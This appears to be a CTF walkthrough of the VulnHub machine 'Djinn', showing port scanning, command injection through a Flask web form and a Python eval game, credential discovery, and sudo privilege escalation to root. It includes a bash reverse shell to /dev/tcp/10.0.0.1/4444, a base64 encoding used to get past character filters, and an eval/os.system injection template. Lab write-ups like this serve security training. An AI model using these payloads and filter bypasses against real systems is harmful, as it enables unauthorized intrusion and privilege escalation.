Return to Main Page

Djinn Walkthrough


Contents

Summary

Djinn has two paths. One path leads directly to root over port 1337. This requires a python command injection of a base64 encoded reverse shell. The shell returns as root. The other path involves finding a web directory that allows us to execute commands. Command execution filters for certain characters so we are forced to use a base64 encoded payload for our reverse shell. This leads to the www-data low priv shell. We find credentials in a file for the user nitish. Once we switch to nitish we find that we have permissions to a sudo command. The flag required to privesc using this sudo command is in the manual, it is not shown in the output from the -h help flag. Using the sudo command we gain a shell as the user sam. Sam also has a sudo ability that allows us to privesc to root. Decompiling a file in Sam's home directory provides us with the information needed to exploit the sudo command in order to gain a root shell.

Port Scanning

  • Running a port scan against the full port range to determine which ones are open.
  • # Nmap 7.91 scan initiated Fri Sep 24 15:36:37 2021 as: nmap -p- -oN ping_tcp 10.0.0.20
    Nmap scan report for 10.0.0.20
    Host is up (0.0012s latency).
    Not shown: 65531 closed ports
    PORT     STATE    SERVICE
    21/tcp   open     ftp
    22/tcp   filtered ssh
    1337/tcp open     waste
    7331/tcp open     swx
    MAC Address: 00:0C:29:2C:20:02 (VMware)
    
    # Nmap done at Fri Sep 24 15:36:45 2021 -- 1 IP address (1 host up) scanned in 8.00 seconds
        
  • Running an nmap scan using the flags -sV and -sC to enumerate service versions and other information.
  • # Nmap 7.91 scan initiated Fri Sep 24 15:37:12 2021 as: nmap -p21,1337,7331 -sV -sC -oN script_tcp 10.0.0.20
    Nmap scan report for 10.0.0.20
    Host is up (0.00019s latency).
    
    PORT     STATE SERVICE VERSION
    21/tcp   open  ftp     vsftpd 3.0.3
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | -rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
    | -rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
    |_-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
    | ftp-syst: 
    |   STAT: 
    | FTP server status:
    |      Connected to ::ffff:10.0.0.1
    |      Logged in as ftp
    |      TYPE: ASCII
    |      No session bandwidth limit
    |      Session timeout in seconds is 300
    |      Control connection is plain text
    |      Data connections will be plain text
    |      At session startup, client count was 4
    |      vsFTPd 3.0.3 - secure, fast, stable
    |_End of status
    1337/tcp open  waste?
    | fingerprint-strings: 
    |   NULL: 
    |     ____ _____ _ 
    |     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
    |     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
    |     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
    |     Let's see how good you are with simple maths
    |     Answer my questions 1000 times and I'll give you your gift.
    |     '/', 4)
    |   RPCCheck: 
    |     ____ _____ _ 
    |     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
    |     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
    |     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
    |     Let's see how good you are with simple maths
    |     Answer my questions 1000 times and I'll give you your gift.
    |_    '*', 2)
    7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
    |_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
    |_http-title: Lost in space
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port1337-TCP:V=7.91%I=7%D=9/24%Time=614E28F5%P=x86_64-pc-linux-gnu%r(NU
    SF:LL,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
    SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20
    SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\
    SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20
    SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\
    SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x
    SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\
    SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\
    SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\
    SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n
    SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
    SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
    SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
    SF:n\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths
    SF:\nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20
    SF:you\x20your\x20gift\.\n\(9,\x20'/',\x204\)\n>\x20")%r(RPCCheck,1BC,"\x2
    SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
    SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2
    SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x
    SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x
    SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x
    SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2
    SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|
    SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20
    SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_
    SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2
    SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
    SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
    SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2
    SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2
    SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your
    SF:\x20gift\.\n\(9,\x20'\*',\x202\)\n>\x20");
    MAC Address: 00:0C:29:2C:20:02 (VMware)
    Service Info: OS: Unix
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Fri Sep 24 15:38:47 2021 -- 1 IP address (1 host up) scanned in 95.17 seconds
        

    Information Gathering

  • The web server on port 7331 turns out to be the service of interest. FTP contains a few files, accessible using anonymous login (anonymous:anonymous). The files do not lead anything interesting. We can connect to the service on port 1337 using netcat. It is a math game. This game on port 1337 is an alternative route to root which I will cover at the end.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn/WebEnum]
    └─$ gobuster dir -u http://10.0.0.20:7331/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt                     
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.0.0.20:7331/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Timeout:                 10s
    ===============================================================
    2021/09/24 20:17:29 Starting gobuster in directory enumeration mode
    ===============================================================
    /wish                 (Status: 200) [Size: 385]
    /genie                (Status: 200) [Size: 1676]
                                                    
    ===============================================================
    2021/09/24 20:18:01 Finished
    ===============================================================
        
  • Running gobuster against the web server reveals two directories. The /wish directory leads us to a reverse shell. On this page we are able to submit commands. When we submit "whoami" we see www-data returns in the URL that we get redirected to. So it appears we are getting command execution. I did this in Burp as shown below.
  • However, when we submit other commands such as a reverse shell, "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'", it returns with "Wrong+choice+of+words". It looks like user input is being filtered so I use base64 encoding to get around this. First I encoded the command with base64 and then I piped the base64 encoded command into bash to be executed.
    • I test the base64 encoded reverse shell by connecting to my own machine.

    Shell - www-data

  • Now that I have verified the command works, I execute the command against the web server. I also url-encode the command by highlighting the payload and pressing ctrl+u


  • After getting shell I take a look at the file /opt/80/app.py which is the directory that our shell starts in
  •         www-data@djinn:/opt$ cat 80/app.py
            import subprocess
            
            from flask import Flask, redirect, render_template, request, url_for
            
            app = Flask(__name__)
            app.secret_key = "key"
            
            CREDS = "/home/nitish/.dev/creds.txt"
            
            RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
            
            
            def validate(cmd):
                if CREDS in cmd and "cat" not in cmd:
                    return True
            
                try:
                    for i in RCE:
                        for j in cmd:
                            if i == j:
                                return False
                    return True
                except Exception:
                    return False
            
            
            @app.route("/", methods=["GET"])
            def index():
                return render_template("main.html")
            
            
            @app.route("/wish", methods=['POST', "GET"])
            def wish():
                execute = request.form.get("cmd")
                if execute:
                    if validate(execute):
                        output = subprocess.Popen(execute, shell=True,
                                                  stdout=subprocess.PIPE).stdout.read()
                    else:
                        output = "Wrong choice of words"
            
                    return redirect(url_for("genie", name=output))
                else:
                    return render_template('wish.html')
            
            
            @app.route('/genie', methods=['GET', 'POST'])
            def genie():
                if 'name' in request.args:
                    page = request.args.get('name')
                else:
                    page = "It's not that hard"
            
                return render_template('genie.html', file=page)
            
            
            if __name__ == "__main__":
                app.run(host='0.0.0.0', debug=True)        
        
  • I highlighed the above code where the code specifies a file in the home directory of nitish named "creds.txt". I take a look at this file and find credentials for the user nitish.
  • www-data@djinn:/opt$ cat /home/nitish/.dev/creds.txt
    nitish:p4ssw0rdStr3r0n9
        

    Shell - nitish

  • I use the "su" command to switch to this user.
  • www-data@djinn:/opt$ su nitish 
    Password: 
    nitish@djinn:/opt$ 
        
  • As the user nitish, I check "sudo -l" to see if nitish has any sudo permissions.
  • nitish@djinn:~$ sudo -l
    Matching Defaults entries for nitish on djinn:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User nitish may run the following commands on djinn:
        (sam) NOPASSWD: /usr/bin/genie
        

    Shell - sam

  • nitish appears to have sudo permissions to run /usr/bin/genie as the user sam. While investigating the program "genie" we find a few flags we can use.
  • nitish@djinn:~$ sudo -u sam /usr/bin/genie -h
    usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
    
    I know you've came to me bearing wishes in mind. So go ahead make your wishes.
    
    positional arguments:
      wish                  Enter your wish
    
    optional arguments:
      -h, --help            show this help message and exit
      -g, --god             pass the wish to god
      -p SHELL, --shell SHELL
                            Gives you shell
      -e EXEC, --exec EXEC  execute command
        
  • However, after playing around with it a bit, I find that none of those flags help with anything. The secret to privescing to Sam using /usr/bin/genie is in the manual for the program.
  • 
    man(8)                                                                genie man page                                                                man(8)
    
    NAME
           genie - Make a wish
    
    SYNOPSIS
           genie [-h] [-g] [-p SHELL] [-e EXEC] wish
    
    DESCRIPTION
           genie would complete all your wishes, even the naughty ones.
    
           We all dream of getting those crazy privelege escalations, this will even help you acheive that.
    
    OPTIONS
           wish
    
                  This is the wish you want to make .
    
           -g, --god
    
                  Sometime we all would like to make a wish to god, this option let you make wish directly to God;
    
                  Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know;
    
           -p, --shell
    
                  Well who doesn't love those. You can get shell. Ex: -p "/bin/sh"
    
           -e, --exec
    
                  Execute command on someone else computer is just too damn fun, but this comes with some restrictions.
    
           -cmd
    
                  You know sometime all you new is a damn CMD, windows I love you.
    
    SEE ALSO
           mzfr.github.io
    
    BUGS
           There are shit loads of bug in this program, it's all about finding one.
    
    AUTHOR
           mzfr
    
    1.0                                                                  11 November 2019                                                               man(8)
     Manual page genie(8) line 12/47 (END) (press h for help or q to quit)
        
  • The manual page shows the "-cmd" flag which we were not previously made aware of. Using this flag, we get a shell as sam.
  • nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd anything
    my man!!
    $ id        
    uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
    $ python3 -c "import pty;pty.spawn('/bin/bash');"
    sam@djinn:~$ 
        
  • As sam I again, check "sudo -l" for any sudo permissions.
  • sam@djinn:~$ sudo -l
    Matching Defaults entries for sam on djinn:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User sam may run the following commands on djinn:
        (root) NOPASSWD: /root/lago
        

    Shell Method #1 - Root

  • Sam has sudo permissions to use the program /root/lago as root. I investigate the program a bit.
  • sam@djinn:~$ sudo /root/lago
    What do you want to do ?
    1 - Be naughty
    2 - Guess the number
    3 - Read some damn files
    4 - Work
    Enter your choice:
        
  • I am unable to make any progress exploiting the program at this point. So I continue to look around for any clues as to how to use it.

  • There is a file named ".pyc" in Sam's home directory that looks like the source code behind /root/lago. I initially use the command "strings" to examine the file contents.
  • sam@djinn:/home/sam$ strings .pyc
    getuser(
    system(
    randintc
    Working on it!! (
    /home/mzfr/scripts/exp.pyt
    naughtyboi
    Choose a number between 1 to 100: s
    Enter your number: s
    /bin/shs
    Better Luck next time(
    inputR
    numt
    /home/mzfr/scripts/exp.pyt
    guessit
    Enter the full of the file to read: s!
    User %s is not allowed to read %s(
    usert
    path(
    /home/mzfr/scripts/exp.pyt	
    readfiles
    What do you want to do ?s
    1 - Be naughtys
    2 - Guess the numbers
    3 - Read some damn filess
    4 - Works
    Enter your choice: (
    intR
    choice(
    /home/mzfr/scripts/exp.pyt
    options
    work your ass off!!s"
    Do something better with your life(
    /home/mzfr/scripts/exp.pyt
    main'
    __main__N(
    getpassR
    randomR
    __name__(
    /home/mzfr/scripts/exp.pyt
    
        
  • I can get a feel for how the program works based on the output from "strings" but I cannot full decipher how the program works or at least how to exploit it. So I transfer the file to my Kali box for further examination.
    • I created a web server
    • sam@djinn:/home/sam$ python -m SimpleHTTPServer
      Serving HTTP on 0.0.0.0 port 8000 ...
      10.0.0.1 - - [25/Sep/2021 19:40:50] "GET /.pyc HTTP/1.1" 200 -
              
    • Then downloaded the file to Kali
    • ┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn/exfiltrated]
      └─$ wget http://10.0.0.20:8000/.pyc                                                                                                                       4 ⨯
      --2021-09-25 10:10:50--  http://10.0.0.20:8000/.pyc
      Connecting to 10.0.0.20:8000... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 1749 (1.7K) [application/octet-stream]
      Saving to: ‘.pyc’
      
      .pyc                                    100%[=============================================================================>]   1.71K  --.-KB/s    in 0s      
      
      2021-09-25 10:10:50 (501 MB/s) - ‘.pyc’ saved [1749/1749]  
              
  • Now I decompile .pyc using uncompyle6
  • ┌──(venv)─(kali㉿kali)-[~/Documents/VulnHub/Djinn/exfiltrated]
    └─$ uncompyle6 .pyc
    # uncompyle6 version 2.13.3
    # Python bytecode 2.7 (62211)
    # Decompiled from: Python 2.7.18 (default, Jul 14 2021, 08:11:37) 
    # [GCC 10.2.1 20210110]
    # Embedded file name: /home/mzfr/scripts/exp.py
    # Compiled at: 2019-11-07 08:05:18
    from getpass import getuser
    from os import system
    from random import randint
    
    def naughtyboi():
        print 'Working on it!! '
    
    
    def guessit():
        num = randint(1, 101)
        print 'Choose a number between 1 to 100: '
        s = input('Enter your number: ')
        if s == num:
            system('/bin/sh')
        else:
            print 'Better Luck next time'
    
    
    def readfiles():
        user = getuser()
        path = input('Enter the full of the file to read: ')
        print 'User %s is not allowed to read %s' % (user, path)
    
    
    def options():
        print 'What do you want to do ?'
        print '1 - Be naughty'
        print '2 - Guess the number'
        print '3 - Read some damn files'
        print '4 - Work'
        choice = int(input('Enter your choice: '))
        return choice
    
    
    def main(op):
        if op == 1:
            naughtyboi()
        elif op == 2:
            guessit()
        elif op == 3:
            readfiles()
        elif op == 4:
            print 'work your ass off!!'
        else:
            print 'Do something better with your life'
    
    
    if __name__ == '__main__':
        main(options())
    # okay decompiling .pyc
        
  • From the above code I can see that if I select option 2 for "Choose a number between 1 to 100:" and then enter "num" as my number, I should get a shell.
  • sam@djinn:/home/sam$ sudo /root/lago
    What do you want to do ?
    1 - Be naughty
    2 - Guess the number
    3 - Read some damn files
    4 - Work
    Enter your choice:2
    Choose a number between 1 to 100: 
    Enter your number: num
    # id
    uid=0(root) gid=0(root) groups=0(root)
        
  • Root shell achieved.

  • Shell Method #2 - Root

  • The alternative route to root is through port 1337. Port 1337 presents us with a math game
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn]
    └─$ nc -nv 10.0.0.20 1337
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Connected to 10.0.0.20:1337.
      ____                        _____ _                
     / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___ 
    | |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
    | |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
     \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|
                                                         
    
    Let's see how good you are with simple maths
    Answer my questions 1000 times and I'll give you your gift.
    (8, '/', 2)
    > 
        
  • We can test command injection by entering math commands
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn]
    └─$ nc -nv 10.0.0.20 1337                                                                                                                                                                                                                                                                                               130 ⨯
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Connected to 10.0.0.20:1337.
      ____                        _____ _                
     / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___ 
    | |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
    | |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
     \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|
                                                         
    
    Let's see how good you are with simple maths
    Answer my questions 1000 times and I'll give you your gift.
    (8, '+', 9)
    > 17
    (2, '/', 1)
    > 2/1
    (4, '/', 5)
    > 10
    Wrong answer
        
  • The program gives us a new problem when we answer the math problem correctly. When I enter a math problem mirroring the one we are presented with, the program accepts it as a correct answer. Therefore, it looks like the program is processing my input as a command. Which leads me to believe we can inject some other malicious command.
    • I use this to inject commands: eval('__import__("os").system("<command>")')
  • The program is filtering for certain characters such as "{". If it detects on of those charcters the program tells us to stop acting like a hacker. So I generate a base64 encoded reverse shell.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn]
    └─$ echo -n "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" | base64                                                                                 130 ⨯
    YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEn
        
  • Then I inject it into the program and gain a root shell.